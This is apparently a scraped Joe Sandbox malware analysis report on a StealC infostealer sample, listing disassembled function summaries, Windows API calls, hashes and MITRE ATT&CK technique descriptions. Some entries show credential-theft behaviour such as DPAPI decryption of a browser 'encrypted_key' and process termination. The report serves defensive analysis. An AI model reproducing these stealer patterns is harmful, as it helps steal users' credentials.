Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 9839f718a494385f8a30ae95beeeb083b592baafc3ed53277c882f1cc9021c47
Instruction ID: 1ba54bb8b4118f9f53a88aed5bc4dac95fd4696b9648d4d093c1adf5c572175c
Opcode Fuzzy Hash: 9839f718a494385f8a30ae95beeeb083b592baafc3ed53277c882f1cc9021c47
Instruction Fuzzy Hash: 6B313EB5D10219ABCF04DBE4EC85FEFB7B8AB88304F144518F905A7285EB709A44CBA1

Function 009394D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 009394EB

Part of subcall function 00938D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0093951E,00000000), ref: 00938D5B
Part of subcall function 00938D50: RtlAllocateHeap.NTDLL(00000000), ref: 00938D62
Part of subcall function 00938D50: wsprintfW.USER32 ref: 00938D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 009395AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 009395C9
CloseHandle.KERNEL32(00000000), ref: 009395D6

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 42bbeb6e91cff503ea4fdcf4464f768bf8b19adac6fa5e76798b8551acc8d892
Instruction ID: ccc32bbc4b9e9e8d8f61ba7102e26948a964abd9d17f89f0fc3b26d1130737d9
Opcode Fuzzy Hash: 42bbeb6e91cff503ea4fdcf4464f768bf8b19adac6fa5e76798b8551acc8d892
Instruction Fuzzy Hash: 7131F971A00208AFDF14DBE0DD49BEDB7B8EB44700F104459F506AB184DBB8AA89CF52

Function 009392E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00933AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00933AEE,?), ref: 009392FC
GetFileSizeEx.KERNEL32(000000FF,00933AEE), ref: 00939319
CloseHandle.KERNEL32(000000FF), ref: 00939327

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: d18e3bb6ee8e6635699ae001d0c43cfa3c23643ff0ca2e5caad06c85806d02df
Instruction ID: 0266ed6d40d7f5d0cd59c99ab57d876215968eaa51b73bc5b4091141954084db
Opcode Fuzzy Hash: d18e3bb6ee8e6635699ae001d0c43cfa3c23643ff0ca2e5caad06c85806d02df
Instruction Fuzzy Hash: 5FF03775E44208BBDF10DBB0DC59BAE77B9BB48720F108654FA51A72C0DAB8AA018F41

Function 0093C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0093C74E

Part of subcall function 0093BF9F: __amsg_exit.LIBCMT ref: 0093BFAF

__getptd.LIBCMT ref: 0093C765
__amsg_exit.LIBCMT ref: 0093C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0093C797

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: ac736d185d81e201477766f1e25ac46e6df123d46deddebe51f30e277fe607ef
Instruction ID: b73a588170af642e0069e194238ee6129832b48ee7d210255137faa49392be1a
Opcode Fuzzy Hash: ac736d185d81e201477766f1e25ac46e6df123d46deddebe51f30e277fe607ef
Instruction Fuzzy Hash: 97F0BEB2908B009BD721BBB89807B5E33A0AF80724F204149FA0AB62D2CB645D419F56

Function 00934F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00938DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00938E0B

lstrcat.KERNEL32(?,00000000), ref: 00934F7A
lstrcat.KERNEL32(?,00941070), ref: 00934F97
lstrcat.KERNEL32(?,01059040), ref: 00934FAB
lstrcat.KERNEL32(?,00941074), ref: 00934FBD

Part of subcall function 00934910: wsprintfA.USER32 ref: 0093492C
Part of subcall function 00934910: FindFirstFileA.KERNEL32(?,?), ref: 00934943

Part of subcall function 00934910: StrCmpCA.SHLWAPI(?,00940FDC), ref: 00934971
Part of subcall function 00934910: StrCmpCA.SHLWAPI(?,00940FE0), ref: 00934987
Part of subcall function 00934910: FindNextFileA.KERNEL32(000000FF,?), ref: 00934B7D
Part of subcall function 00934910: FindClose.KERNEL32(000000FF), ref: 00934B92

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: aebdd2a381829860b4f6835d0f6bb4f934ce2821ff6c980ce59ac4837c732991
Instruction ID: 888f7a5870411a518f3ca092e3371e10031d9b6e6c694d89a8e9aff4da38b7c7
Opcode Fuzzy Hash: aebdd2a381829860b4f6835d0f6bb4f934ce2821ff6c980ce59ac4837c732991
Instruction Fuzzy Hash: 2D21477690020467CB54F760EC46FEE337DABD4700F004554F65AA71C5EEB5A6C98F92

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00939860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 009245C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00924880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00939C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00926280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00935510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 009317A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00937500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 009369F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00921220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00936AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 009247B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 009351F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON